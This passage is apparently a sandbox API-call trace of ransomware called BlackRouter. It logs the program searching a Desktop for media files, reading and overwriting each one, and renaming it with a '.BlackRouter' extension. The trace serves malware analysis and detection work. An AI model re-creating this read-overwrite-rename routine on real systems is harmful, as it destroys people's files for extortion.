lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cIufVz.wav.BlackRouter", lpFilePart=0x0) returned 0x3c [0040.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae740) returned 1 [0040.369] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cIufVz.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ciufvz.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56416410, ftCreationTime.dwHighDateTime=0x1d45b59, ftLastAccessTime.dwLowDateTime=0xed6138b0, ftLastAccessTime.dwHighDateTime=0x1d458df, ftLastWriteTime.dwLowDateTime=0xbe934bf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x15dd0)) returned 1 [0040.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae700) returned 1 [0040.369] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cIufVz.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ciufvz.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cIufVz.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ciufvz.wav.blackrouter")) returned 1 [0040.371] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uoaQuh_4Hf-xj1.wav", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uoaQuh_4Hf-xj1.wav", lpFilePart=0x0) returned 0x38 [0040.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae640) returned 1 [0040.371] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uoaQuh_4Hf-xj1.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uoaquh_4hf-xj1.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae5b0) returned 1 [0040.371] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x6d58 [0040.371] ReadFile (in: hFile=0x258, lpBuffer=0x29aa7c0, nNumberOfBytesToRead=0x6d58, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x29aa7c0*, lpNumberOfBytesRead=0x1ae708*=0x6d58, lpOverlapped=0x0) returned 1 [0040.373] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uoaQuh_4Hf-xj1.wav", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uoaQuh_4Hf-xj1.wav", lpFilePart=0x0) returned 0x38 [0040.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae640) returned 1 [0040.374] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uoaQuh_4Hf-xj1.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uoaquh_4hf-xj1.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae5b0) returned 1 [0040.377] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uoaQuh_4Hf-xj1.wav", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uoaQuh_4Hf-xj1.wav", lpFilePart=0x0) returned 0x38 [0040.377] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uoaQuh_4Hf-xj1.wav.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uoaQuh_4Hf-xj1.wav.BlackRouter", lpFilePart=0x0) returned 0x44 [0040.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae740) returned 1 [0040.377] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uoaQuh_4Hf-xj1.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uoaquh_4hf-xj1.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x123a9e80, ftCreationTime.dwHighDateTime=0x1d45ae1, ftLastAccessTime.dwLowDateTime=0x395490c0, ftLastAccessTime.dwHighDateTime=0x1d45d2a, ftLastWriteTime.dwLowDateTime=0xbe934bf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6d60)) returned 1 [0040.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae700) returned 1 [0040.377] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uoaQuh_4Hf-xj1.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uoaquh_4hf-xj1.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uoaQuh_4Hf-xj1.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uoaquh_4hf-xj1.wav.blackrouter")) returned 1 [0040.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.379] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.swf", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0x1ac59c20 [0040.380] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 0 [0040.380] FindClose (in: hFindFile=0x1ac59c20 | out: hFindFile=0x1ac59c20) returned 1 [0040.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.380] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PO syjAzNUL6_-c.swf", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PO syjAzNUL6_-c.swf", lpFilePart=0x0) returned 0x39 [0040.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae640) returned 1 [0040.380] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PO syjAzNUL6_-c.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\po syjaznul6_-c.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae5b0) returned 1 [0040.380] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x1759c [0040.381] ReadFile (in: hFile=0x258, lpBuffer=0x14684b60, nNumberOfBytesToRead=0x1759c, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x14684b60*, lpNumberOfBytesRead=0x1ae708*=0x1759c, lpOverlapped=0x0) returned 1 [0040.389] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PO syjAzNUL6_-c.swf", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PO syjAzNUL6_-c.swf", lpFilePart=0x0) returned 0x39 [0040.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae640) returned 1 [0040.389] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PO syjAzNUL6_-c.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\po syjaznul6_-c.swf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae5b0) returned 1 [0040.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PO syjAzNUL6_-c.swf", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PO syjAzNUL6_-c.swf", lpFilePart=0x0) returned 0x39 [0040.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PO syjAzNUL6_-c.swf.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PO syjAzNUL6_-c.swf.BlackRouter", lpFilePart=0x0) returned 0x45 [0040.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae740) returned 1 [0040.394] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PO syjAzNUL6_-c.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\po syjaznul6_-c.swf"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57dcf4a0, ftCreationTime.dwHighDateTime=0x1d45fd8, ftLastAccessTime.dwLowDateTime=0xeba974a0, ftLastAccessTime.dwHighDateTime=0x1d45f84, ftLastWriteTime.dwLowDateTime=0xbe95ad50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x175a0)) returned 1 [0040.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae700) returned 1 [0040.394] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PO syjAzNUL6_-c.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\po syjaznul6_-c.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PO syjAzNUL6_-c.swf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\po syjaznul6_-c.swf.blackrouter")) returned 1 [0040.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.396] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.397] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.fla", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.397] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wmv", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.398] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.398] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.398] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mpg", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.398] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.398] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.398] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vob", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.399] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.399] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.399] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mpeg", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.399] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.399] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.399] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.asf", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.399] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.400] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.avi", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0x1ac59c20 [0040.400] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 0 [0040.400] FindClose (in: hFindFile=0x1ac59c20 | out: hFindFile=0x1ac59c20) returned 1 [0040.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3fLMMPhg-_u7LnAV.avi", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3fLMMPhg-_u7LnAV.avi", lpFilePart=0x0) returned 0x3a [0040.400] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3fLMMPhg-_u7LnAV.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3flmmphg-_u7lnav.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.400] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0xb7d7 [0040.400] ReadFile (in: hFile=0x258, lpBuffer=0x29bde50, nNumberOfBytesToRead=0xb7d7, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x29bde50*, lpNumberOfBytesRead=0x1ae708*=0xb7d7, lpOverlapped=0x0) returned 1 [0040.403] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3fLMMPhg-_u7LnAV.avi", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3fLMMPhg-_u7LnAV.avi", lpFilePart=0x0) returned 0x3a [0040.403] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3fLMMPhg-_u7LnAV.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3flmmphg-_u7lnav.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3fLMMPhg-_u7LnAV.avi", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3fLMMPhg-_u7LnAV.avi", lpFilePart=0x0) returned 0x3a [0040.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3fLMMPhg-_u7LnAV.avi.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3fLMMPhg-_u7LnAV.avi.BlackRouter", lpFilePart=0x0) returned 0x46 [0040.407] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3fLMMPhg-_u7LnAV.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3flmmphg-_u7lnav.avi"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80f1c260, ftCreationTime.dwHighDateTime=0x1d46417, ftLastAccessTime.dwLowDateTime=0x293354d0, ftLastAccessTime.dwHighDateTime=0x1d462f0, ftLastWriteTime.dwLowDateTime=0xbe980eb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb7e0)) returned 1 [0040.407] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3fLMMPhg-_u7LnAV.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3flmmphg-_u7lnav.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3fLMMPhg-_u7LnAV.avi.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3flmmphg-_u7lnav.avi.blackrouter")) returned 1 [0040.408] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.408] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.408] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mov", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.409] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.409] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.409] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0x1ac59c20 [0040.409] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 0 [0040.410] FindClose (in: hFindFile=0x1ac59c20 | out: hFindFile=0x1ac59c20) returned 1 [0040.410] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oi m.mp4", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oi m.mp4", lpFilePart=0x0) returned 0x2e [0040.410] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oi m.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oi m.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.410] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x1361b [0040.410] ReadFile (in: hFile=0x258, lpBuffer=0x29d6bb8, nNumberOfBytesToRead=0x1361b, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x29d6bb8*, lpNumberOfBytesRead=0x1ae708*=0x1361b, lpOverlapped=0x0) returned 1 [0040.414] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oi m.mp4", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oi m.mp4", lpFilePart=0x0) returned 0x2e [0040.414] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oi m.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oi m.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.418] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oi m.mp4", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oi m.mp4", lpFilePart=0x0) returned 0x2e [0040.418] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oi m.mp4.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oi m.mp4.BlackRouter", lpFilePart=0x0) returned 0x3a [0040.418] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oi m.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oi m.mp4"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53603520, ftCreationTime.dwHighDateTime=0x1d45bb1, ftLastAccessTime.dwLowDateTime=0x4ab33c90, ftLastAccessTime.dwHighDateTime=0x1d46216, ftLastWriteTime.dwLowDateTime=0xbe9a7010, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x13620)) returned 1 [0040.419] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oi m.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oi m.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oi m.mp4.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oi m.mp4.blackrouter")) returned 1 [0040.420] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.420] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.420] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mkv", lpFindFileData=0x1ae4a0 | out: 